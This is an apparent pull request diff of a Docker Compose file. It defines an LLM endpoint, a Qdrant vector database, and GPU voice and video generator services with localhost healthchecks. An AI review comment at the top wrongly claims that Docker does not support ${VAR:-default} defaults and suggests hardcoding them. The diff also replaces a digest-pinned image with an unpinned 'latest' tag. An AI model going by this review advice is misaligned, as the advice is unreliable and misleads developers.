[nitpick] Environment variables with default values use the ${VAR:-default} syntax, but this won't work in all contexts. The colon-dash syntax is shell-specific. If these environment variables are read by Docker or other tools that don't support this syntax, it may fail. Consider documenting this requirement or using a more portable approach.

Suggested change
MODEL__URL: ${MODEL__URL:-https://generativelanguage.googleapis.com/v1beta/openai}
MODEL__NAME: ${MODEL__NAME:-gemini-2.5-flash}
MODEL__URL: https://generativelanguage.googleapis.com/v1beta/openai
MODEL__NAME: gemini-2.5-flash

Copilot uses AI. Check for mistakes.
MODEL__API_KEY: ${MODEL__API_KEY}
VECTOR_DATABASE__URL: http://vector_database:6333
VECTOR_DATABASE__NAME: test
VECTOR_DATABASE__NAME: main
healthcheck:
test:
- "CMD"
Expand All @@ -33,14 +36,91 @@ services:
retries: 5
start_period: 40s
vector_database:
image: qdrant/qdrant:latest@sha256:0fb8897412abc81d1c0430a899b9a81eb8328aa634e7242d1bc804c1fe8fe863
image: qdrant/qdrant:latest
ports:
- "6333:6333"
- "6334:6334"
volumes:
- qdrant_storage:/qdrant/storage
restart: on-failure:3
voice_generator:
image: alphaspheredotai/vocalizr:latest
ports:
- "7861:7860"
post_start:
- command: chown -R nonroot:nonroot /home/nonroot
user: root
- command: chmod -R 700 /home/nonroot
user: root
volumes:
- huggingface:/home/nonroot/hf
- results:/home/nonroot/results
- logs:/home/nonroot/logs
restart: on-failure:3
healthcheck:
test:
- "CMD"
- "curl"
- "-o"
- "/dev/null"
- "-f"
- "-s"
- "-w"
- "'Status: %{http_code},\tTime: %{time_total}s'"
- "http://localhost:7860/"
interval: 1m30s
timeout: 10s
retries: 5
start_period: 40s
deploy:
resources:
reservations:
devices:
- driver: nvidia
count: all
capabilities:
- gpu
video_generator:
image: alphaspheredotai/visualizr:latest
ports:
- "7862:7860"
volumes:
- assets:/home/nonroot/assets
- checkpoint:/home/nonroot/ckpts
- gfpgan:/home/nonroot/gfpgan
post_start:
- command: chown -R nonroot:nonroot /home/nonroot
user: root
- command: chmod -R 700 /home/nonroot
user: root
restart: on-failure:3
healthcheck:
test:
- "CMD"
- "curl"
- "-o"
- "/dev/null"
- "-f"
- "-s"
- "-w"
- "'Status: %{http_code},\tTime: %{time_total}s'"
- "http://localhost:7860/"
interval: 1m30s
timeout: 10s
retries: 5
start_period: 40s
deploy:
resources:
reservations:
devices:
- driver: nvidia
count: all
capabilities:
- gpu
volumes:
logs:
assets:
fastembed:
qdrant_storage:
checkpoint:
gfpgan:
Loading
Loading